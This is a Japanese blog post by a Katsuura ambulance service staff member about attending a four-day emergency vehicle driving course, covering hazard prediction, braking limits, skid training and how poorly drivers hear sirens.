【勝浦】消防・救急緊急自動車運転技能者課程研修に参加しました。

こんにちは!勝浦救急事業部の小林菜々です。

5月29日から6月1日までの4日間、茨城県ひたちなか市にある安全運転中央研修所にて行われた「消防・救急緊急自動車運転技能者課程研修」に参加して参りました。

この「消防・救急緊急自動車運転技能者課程研修」は、消防職員や救急車を所有する機関の担当者などが参加し、救急車の特性をはじめ道路上での危険物に対する予測と回避、ブレーキの掛け方とその限界など、様々な項目について4日間にわたり座学と車両を用いた実技を行います。

「緊急走行」と聞いて、皆さんはどのようなものを想像しますか?実際に街中などで、赤い回転灯を点けサイレンを鳴らしながら走行している救急車やパトカーを見たことがある方がほとんどかと思います。

文字の通り、傷病者を搬送したり現場に急行したりするため、緊急を要し急いで現場もしくは搬送先医療機関に向かいます。しかし大前提として、事故なく「安全に」急行する必要があります。

本研修では実際に緊急走行を実施することはほとんどなく、「安全に」緊急走行するための危険予測とその回避方法、回避の限界などに重点を置いて学習しました。

普段の活動では絶対に行わないような急ブレーキや急ハンドル、滑りやすい路面でのスリップを体験することで、減速、徐行の重要性やタイヤの限界などを学ぶことができました。

また、バスに乗車した状態で、遠くから近づいてくる緊急走行中の救急車にどれほど早く気付けるかという実験では、音楽などを流しながら車内で会話をしている状態ではほぼサイレンの音が聞こえず、窓を開けた状態でようやくサイレンに気付くことができました。実際の現場において緊急走行を実施していると、周囲の車両は私たちが乗っている救急車のサイレンを認識しているものとして走行してしまいがちです。緊急車両として、聴覚だけでなく視覚など様々な方法で緊急車両の存在を認識してもらう努力を行うということも、事故回避の重要なポイントになることを学びました。

 

緊急走行を行う上で、事故を起こしてしまっては本末転倒です。

本研修ではどのような運転操作、走行が事故を引き起こすのか、万が一事故が起きそうになったときはどのように回避するのかをしっかりと学び、また今後の活動においてどのような点に注意すればよいのかを深く考えることができました。

今回学ばせていただいたことを今後の活動にいかし、事故のない救急救命業務を遂行することはもちろんですが、普段の生活においても正しく正確な運転技術を実施していこうと思います。

 

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